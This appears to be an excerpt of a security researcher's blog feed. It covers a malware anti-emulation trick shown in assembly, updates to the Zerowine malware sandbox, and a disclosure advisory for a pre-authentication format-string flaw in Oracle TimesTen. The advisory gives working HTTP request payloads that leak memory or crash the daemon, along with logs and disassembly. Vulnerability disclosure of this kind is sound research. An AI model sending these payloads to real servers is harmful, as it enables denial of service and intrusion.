  3. 00000816 MOV EAX, [0x40600c]        ; kernel32.dll!GetModuleHandleA
  4. 0000081d CALL EAX
  5. 0000081f (PUSH 0x74
  6. 00000821 MOV EAX, [0x406080]        ; msvcrt.dll!iscntrl
  7. 00000827 CALL EAX
  8. 00000829 POP ECX
  9. 0000082a TEST EAX, EAX
  10. 0000082c JNZ 0x000008ad     ; 1
  11. 00000832 PUSH 0x6d
  12. 00000834 PUSH 0x68
  13. 00000836 MOV EAX, [0x40607c]        ; msvcrt.dll!is_wctype
  14. 0000083d CALL EAX

Or strange x86 assembly instructions like multibyte NOPs with redundant prefixes and so on (found in some variants of Sality):

  1. f30f1f90909090. rep nop [eax+0x66909090]

I know it's just one antiemulation trick and there are thousands of them but this trick is new (at least for me), special and cool!

]]> http://joxeankoret.com/blog/2009/12/02/malware-tricks-i/feed/ 0 Zerowine: Better reports, network conversations and bug fixes http://joxeankoret.com/blog/2009/02/10/zerowine-better-reports-network-conversations-and-bug-fixes/ http://joxeankoret.com/blog/2009/02/10/zerowine-better-reports-network-conversations-and-bug-fixes/#comments Tue, 10 Feb 2009 10:05:59 +0000 joxean http://joxeankoret.com/blog/?p=67 Single user version of Zerowine

Yesterday I finished the (surely) last single-user version of Zerowine and added some interesting features to it. Many Zerowine users told me that the reports were very confusing and, yes, that's true. I fixed this problem by adding new debugging channels to the currently latest stable version of Wine (1.1.10) and, well, the reports now are less confusing and more readable. The new debugging channels I added to Wine are the following:

  1. humanmalware: This channel shows in human readable format what the malware is doing.
  2. malware: Quite similar to the TRACE channel, but just logs the calls to APIs interesting for malware research.
  3. malwaredump: This channel shows the network conversations.
  4. malwarereg: Shows registry operations.
  5. malwarelib: Shows what libraries the malware is loading/unloading.

The following is an example report of running a malware in the sandbox with the latest features:

Zerowine reports with the new channels

Zerowine reports with the new channels

We can see how the malware connects to some remote web server, the HTTP query executed, the local file downloaded, etc... This in the "Report" section, in the "Signature" section we get just the "human readable" format of the report (as is normal, not as detailed as the "Report" section, however).

I also fixed various bugs (in both Wine and Zerowine) and Zerowine now is able to detect more anti-debugging techniques, to dump new malware formats and more secure. I removed some features in the patched version of Wine that are a bit insecure for malware analysis.

Well, and that's all for the mono-user version (I will be releasing it this week, or at least I hope to do so). I will update this entry when the file I'm uploading to the Sourceforge.net finishes, and it's very slow (really, a pain in the ass).

Multiuser Version of Zerowine

The new multi-user version of Zerowine will take a long while because it requires a lot of changes, however, many features are implemented right now (Queues, multiple malware analysis nodes, database support, etc...). The changes will be, mainly, architectural ones but not all. In example, I'm implementing right now new "engines" to analyze malware in other platforms: One IDA Pro based agent to execute the malware with the Bochs Debugger inside IDA, dump & analyze it and get an unpacked IDB database.

Other (possible) agent I'm planning is a Windows hooker to analyze the malware in a real Windows box (but the problem that comes to my mind is how to clean the environment automatically after the malware execution...).

]]> http://joxeankoret.com/blog/2009/02/10/zerowine-better-reports-network-conversations-and-bug-fixes/feed/ 2 Oracle TimesTen Remote Format String http://joxeankoret.com/blog/2009/01/14/oracle-timesten-remote-format-string/ http://joxeankoret.com/blog/2009/01/14/oracle-timesten-remote-format-string/#comments Wed, 14 Jan 2009 08:35:24 +0000 joxean http://joxeankoret.com/blog/?p=41 Product Description

Oracle TimesTen provides a family of real-time infrastructure software products designed for low latency, high-volume data, event and transaction management.

Summary

The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running Oracle TimesTen server.

Affected versions

Oracle TimesTen prior to version 7.0.5.1.0.

Vulnerability

Oracle TimesTen's timestend daemon is a simple web server that process the commands received from clients. Many of these commands are used without being authenticated, i.e., without the need for a username and password.

The command "evtdump" dumps to the internal log file the contents of an internal data structure. The pseudo-cgi evtdump only receives one parameter, called msg. The parameter "msg" is a text that will be printed to the log file before dumping the internal structure.

This parameter is vulnerable to a format string attack which leads to remote code execution before being authenticated. The vulnerability have been tested in Linux environments, although it appears to be vulnerable in all the supported platforms.

The following is an extract of a communication between a custom client and the timestend daemon (the output from the server is shown in the file /var/TimesTen/log/ttmesg.log in Unix and GNU/Linux environments):

FROM CLIENT:

GET evtdump?msg=AAAA%2510$x%25s HTTP/1.0\r\n\r\n

AT SERVER:

(...)
# cat /var/TimesTen/log/ttmesg.log
(...)
19:05:07.01 Info:    : 18225: maind 22: socket closed, calling recovery (last cmd was 25)
19:05:19.07 Info:    : 18225: AAAA80a8a0c(null)
19:05:19.07 Info:    : 18225: mode     :  TTDL_NORMAL
19:05:19.07 Info:    : 18225: ctlfilename :  ''
19:05:19.07 Info:    : 18225: lineno   :  0
19:05:19.07 Info:    : 18225: nitems   :  7
19:05:19.07 Info:    : 18225: maxitems :  32
19:05:19.07 Info:    : 18225: cur_path :  (null)
19:05:19.07 Info:    : 18225: lineno   :  0
19:05:19.07 Info:    : 18225: items    :
19:05:19.07 Info:    : 18225:   item # 0  :
19:05:19.07 Info:    : 18225:     comp     : ALL
19:05:19.07 Info:    : 18225:     level    : 3
19:05:19.07 Info:    : 18225:     dsname   : (null)
(...)

FROM CLIENT:

GET evtdump?msg=AAAA%2510$x%25s%25s%25s HTTP/1.0

AT SERVER:

(...)
# cat /var/TimesTen/log/ttmesg.log
19:05:19.08 Info:    : 18225: maind 23: socket closed, calling recovery (last cmd was 26)
19:06:18.49 Info:    : 18225: AAAA80a8a0c(null)(null)
19:06:18.49 Info:    : 18225: mode     :  TTDL_NORMAL
19:06:18.49 Info:    : 18225: ctlfilename :  ''
19:06:18.49 Info:    : 18225: lineno   :  0
19:06:18.49 Info:    : 18225: nitems   :  7
19:06:18.49 Info:    : 18225: maxitems :  32
19:06:18.49 Info:    : 18225: cur_path :  (null)
19:06:18.49 Info:    : 18225: lineno   :  0
19:06:18.49 Info:    : 18225: items    :
19:06:18.49 Info:    : 18225:   item # 0  :
19:06:18.49 Info:    : 18225:     comp     : ALL
19:06:18.49 Info:    : 18225:     level    : 3
19:06:18.49 Info:    : 18225:     dsname   : (null)
(...)

FROM CLIENT:

GET evtdump?msg=AAAA%25n HTTP/1.0

AT SERVER:

(...)
# cat /var/TimesTen/log/ttmesg.log
19:07:38.87 Err :    : 18782: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err :    : 18785: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err :    : 18788: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err :    : 18791: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Info: SRV: 18800: EventID=99| TimesTen daemon has disconnected, server is exiting...
19:07:39.54 Info:    : 18785: Listener terminating
19:07:39.54 Info:    : 18785: Listener exited, termination finishing
19:07:39.54 Info:    : 18785: Process termination complete
19:07:39.59 Info:    : 18791: Listener terminating
19:07:39.59 Info:    : 18782: Listener terminating
19:07:39.59 Info:    : 18788: Listener terminating
19:07:39.59 Info:    : 18791: Listener exited, termination finishing
19:07:39.59 Info:    : 18791: Process termination complete
19:07:39.59 Info:    : 18782: Listener exited, termination finishing
19:07:39.59 Info:    : 18782: Process termination complete
19:07:39.59 Info:    : 18788: Listener exited, termination finishing
19:07:39.59 Info:    : 18788: Process termination complete
19:07:40.59 Info: SRV: 18800: EventID=2| TimesTen Server is stopping
19:07:40.59 Info: SRV: 18800: EventID=99| Server trying to stop child server processes
19:07:40.59 Info: SRV: 18800: EventID=11| Main Server cleaned up all child server processes and exiting
(...)

The last msg parameter's value crashes the timestend daemon. Attaching with a debugger to the timestend daemon we can see the following dump when it crashes:

$ sudo /etc/init.d/tt_70 start &
(...)
$ sudo gdb attach `cat /var/TimesTen/tt70/timestend.pid`
(...)
(gdb) c
(...)
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1223386192 (LWP 18980)]
0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
(gdb) where
#0  0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
#1  0xb76eca36 in vsnprintf () from /lib/tls/i686/cmov/libc.so.6
#2  0xb7826ddb in ttc_vsnprintf () from /opt/TimesTen/tt70/lib/libttco.so
#3  0x0807689f in ttdLogDump ()
#4  0x0805b138 in daHandler ()
#5  0x08073789 in handlerThread ()
#6  0xb77e7341 in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#7  0xb775a4ee in clone () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r
eax            0x0      0
ecx            0x4      4
edx            0x0      0
ebx            0xb77bbadc       -1216628004
esp            0xb71480c0       0xb71480c0
ebp            0xb71486e0       0xb71486e0
esi            0x0      0
edi            0xb714895c       -1223390884
eip            0xb76cf5c6       0xb76cf5c6 <vfprintf+14038>
(...)

The function ttdLogDump is called from daHandler as you can see in the backtrace. This function is the main handler for the internal timestend's web server. This is the vulnerable function, ttdLogDump, which receives one argument (the msg parameter to the evtdump pseudo cgi):

.text:0807686D ttdLogDump      proc near               ; CODE XREF: daHandler+5F3p
  1. (...)
  2. .text:08076879                 lea     eax, [ebp+argRet]
  3. .text:0807687C                 push    eax
  4. .text:0807687D                 push    [ebp+argMsg] ; User controlled string buffer
  5. .text:08076880                 push    0
  6. .text:08076882                 push    100h
  7. .text:08076887                 lea     esi, [ebp+buf]
  8. .text:0807688D                 call    $+5
  9. .text:08076892                 pop     ebx
  10. .text:08076893                 add     ebx, 3217Ah
  11. .text:08076899                 push    esi
  12. .text:0807689A                 call    _ttc_vsnprintf

The function ttc_vsnprintf makes a call internally to the vsnprintf function (in the library /opt/TimesTen/tt70/lib/libttco.so) passing as the buffer to be printed the user supplied value passed to the "msg" argument:

.text:0001ADAA ttc_vsnprintf   proc near               ; CODE XREF: msgbuf_error+73p
  1. .text:0001ADAA                                         ; opt_error+83p ...
  2. .text:0001ADAA
  3. (...)
  4. .text:0001ADCE                 push    [ebp+arg]       ; arg
  5. .text:0001ADD1                 push    [ebp+argFormat] ; format
  6. .text:0001ADD4                 push    edi             ; maxlen
  7. .text:0001ADD5                 push    eax             ; s
  8. .text:0001ADD6                 call    _vsnprintf

Workaround

None.

Patch information

Oracle fixed the vulnerability in version 7.0.5.1.0 of Oracle Secure Backup.

Contact Information

The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com

References

Oracle TimesTen evtDump Remote Format String

CVE-2008-5440

Oracle Critical Patch Update January 2009

Professional Web

Disclaimer

The information in this advisory and any of its demonstrations is provided "as is" without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory.

]]> http://joxeankoret.com/blog/2009/01/14/oracle-timesten-remote-format-string/feed/ 0